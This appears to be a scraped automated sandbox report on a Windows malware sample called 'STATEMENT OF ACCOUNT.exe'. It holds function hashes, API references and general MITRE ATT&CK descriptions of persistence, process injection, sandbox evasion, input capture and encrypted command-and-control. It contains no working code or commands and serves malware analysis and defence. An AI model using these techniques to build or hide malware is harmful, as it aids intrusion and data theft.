Opcode ID: e3b1e1c3cd6f4b60d5be9649f80d1ce05694d544c85cab0d0d7f5a62eff31b6c
Instruction ID: a303c64bb138c9fad5e36fe1cedc22b9bcf782012a246fcbb59e43047fe4a953
Opcode Fuzzy Hash: e3b1e1c3cd6f4b60d5be9649f80d1ce05694d544c85cab0d0d7f5a62eff31b6c
Instruction Fuzzy Hash: 9F51BBB0908101A6DB15BB19CD413FB7BA4EB61700F21896FE4D5463E9EB3C8C95CA9F

Uniqueness

Uniqueness Score: -1.00%

Function 004801A4, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004801AB

Strings

@, xrefs: 004801B9
@, xrefs: 004801BD

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: f89c1a31681aeaa22e63610e18eed1bedcddc3f34ed1c3266490f1e664b2c26c
Instruction ID: f92ed92c9db5bfd0f421601c8e4ac24b13c196cabc4d12cf62a06b024366651a
Opcode Fuzzy Hash: f89c1a31681aeaa22e63610e18eed1bedcddc3f34ed1c3266490f1e664b2c26c
Instruction Fuzzy Hash: E8517C70820318ABCF14FFA5CD86ADEBB78BF15314F50462EE455A7282DB785A08DF94

Uniqueness

Uniqueness Score: -1.00%

Function 00487213, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0048721D

Strings

@, xrefs: 00487238
@, xrefs: 00487234

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 1910a22e70208366c72b4208d2332c2b94e8cfe59228e861259c6a05f42947c6
Instruction ID: d022816c5cc100a6ea101223940f1cf018e589ed328258847531d57c543562ea
Opcode Fuzzy Hash: 1910a22e70208366c72b4208d2332c2b94e8cfe59228e861259c6a05f42947c6
Instruction Fuzzy Hash: 044180B1C043099ACF14FFAAD991ADEBBB5BF14314F10456FE559A3281DB348A45CF24

Uniqueness

Uniqueness Score: -1.00%

Function 0048037D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00480384

Strings

@, xrefs: 00480399
@, xrefs: 00480395

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 0314bd074694b7ff17ae93b12c7526b73b36774af9141daac29b7e3bcaf25882
Instruction ID: 80e2c82255a6d97ff39b6a59cce6e6e0c63d7e1fca81ffd2a30c4d094d93ecbd
Opcode Fuzzy Hash: 0314bd074694b7ff17ae93b12c7526b73b36774af9141daac29b7e3bcaf25882
Instruction Fuzzy Hash: 41416071D103089EDF54FBB9C981ADEBBB4EF54304F10452FE559E3292EA385A08CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00443806, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000), ref: 00443831

Strings

GetProcessMemoryInfo, xrefs: 00443842
K32GetProcessMemoryInfo, xrefs: 00443865

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: OpenProcess
String ID: GetProcessMemoryInfo$K32GetProcessMemoryInfo
API String ID: 3743895883-1962974740
Opcode ID: 049101f823ee28f1bb29dd5332a62457e83325362bb10e723031ba1e4a093d72
Instruction ID: fbd2607e2e50012dd5bd2a8f34f43baeaa0228b3dbb5db9b8667995970460b70
Opcode Fuzzy Hash: 049101f823ee28f1bb29dd5332a62457e83325362bb10e723031ba1e4a093d72
Instruction Fuzzy Hash: 9EF08630600204A6FB14BF769D46FAFB7E5AF04B55F100436B501A62D1EFA8DA01865D

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report STATEMENT OF ACCOUNT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Function 01351000, Relevance: 65.1, APIs: 32, Strings: 5, Instructions: 308
registryfilememoryCOMMON

Function 0135152F, Relevance: 16.6, APIs: 11, Instructions: 123
COMMON

Function 01351480, Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29
stringCOMMON

Function 004BA019, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370
timeCOMMON

Function 00447818, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
COMMON

Function 0049ACC4, Relevance: 30.3, APIs: 20, Instructions: 287
COMMON

Function 0043879C, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 118
COMMON

Function 0042B0D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Function 0043834E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
registryCOMMON

Function 004AD519, Relevance: 9.3, APIs: 6, Instructions: 284
COMMON

Function 004AE22E, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Function 004C2051, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272
COMMON

Function 004BA1EE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171
timeCOMMON

Function 004B2407, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON